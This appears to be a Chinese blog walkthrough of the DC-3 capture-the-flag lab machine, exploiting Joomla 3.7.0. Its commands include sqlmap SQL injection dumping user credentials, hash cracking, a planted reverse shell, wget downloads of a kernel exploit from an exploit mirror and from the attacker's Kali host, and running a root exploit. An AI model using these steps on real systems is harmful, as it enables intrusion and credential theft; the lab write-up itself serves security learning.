实验步骤
1.信息收集
主机探测 确定目标靶机的ip地址

对目标靶机进行端口扫描

发现80端口是开着的 我们用浏览器去访问一下

我们去访问一下这几个网站

发现只有administrator可以访问 是一个登陆页面 我们用插件查看用的是什么cms系统

信息收集就到这里了 我们知道了网站的目录 所用的框架
2.漏洞利用

得知了joomla的版本是3.7.0

我们用
searchsploits joomla 3.7.0
去查找相应的poc

这两个都可以
http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

payload
#爆username和password值
sqlmap -u "http://192.168.89.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump

将密码写入到txt文件中 用john去跑

得到了密码 为snoopy

在tempalte目录下 随便找一个php文件插入我们的反弹shell
在kali上开启监听 同时在网站上让他去访问这个php文件

拿到shell
我们试着提权
suid提权
find / -perm -4000 -type f 2>/dev/null

没有能用的命令 我们看看能不能内核提权
uname -a //查看版本
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

版本信息为4.4.0-21

查找对应的poc
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

给了两个地址
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
wget 下载下来
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip


解压 根据39772.txt中的方法进行攻击 我们需要将exploit.tar上传上去
我们在kali上开启apache服务
wget http://192.168.89.132/exploit.tar
systemctl restart apache2
//将exploit.tar 移动到 /var/html/www 目录下

开始解压

cd ebpf_mapfd_doubleput_exploit
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./compile.sh
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./doubleput
whoami

得到了root权限
用python写一个交互脚本
python -c 'import pty;pty.spawn("/bin/bash")'

cd到root目录下
找到了flag
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
953

被折叠的 条评论
为什么被折叠?



